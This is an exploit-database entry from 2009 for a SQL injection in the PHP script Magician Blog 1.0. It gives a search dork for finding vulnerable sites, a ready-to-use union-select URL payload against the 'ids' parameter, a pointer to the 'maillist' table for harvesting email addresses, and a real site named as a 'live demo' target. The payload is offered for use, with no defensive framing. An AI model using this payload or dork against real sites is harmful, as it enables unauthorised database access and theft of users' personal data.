Magician Blog <= 1.0 (ids) Remote SQL Injection Vulnerability

2009-07-27T00:00:00
ID 1337DAY-ID-5564
Type zdt
Reporter Evil-Cod3r
Modified 2009-07-27T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            =============================================================
Magician Blog <= 1.0 (ids) Remote SQL Injection Vulnerability
=============================================================


==============================================================================
        [»] Magician Blog <= 1.0 Remot SQL injection Valunrability
==============================================================================

    [»] Script:             [ Magician v1.0 ]
    [»] Language:           [ PHP ]
    [»] home:               [ www.4smart.net ]
    [»] Dork:               [ "Powered By 4smart" ]
    [»] Price:              [ $300 But i Scanned The Nulled !! ]

###########################################################################

===[ Exploit SQL  ]===  
  
    [»] http://www.Site.com/path/book.php?do=show&ids=-1 union select 1,version(),3,4,5,6,7,8,9,10,11,12,13--
    [»] Note : if you want mail list this is a table [ maillist ] the column > [email] and show mail list

  

===[ Live Demo ]===  

        [»] http://www.aloamman.com/
       

Author: Evil-Cod3r <-

###########################################################################



#  0day.today [2018-02-18]  #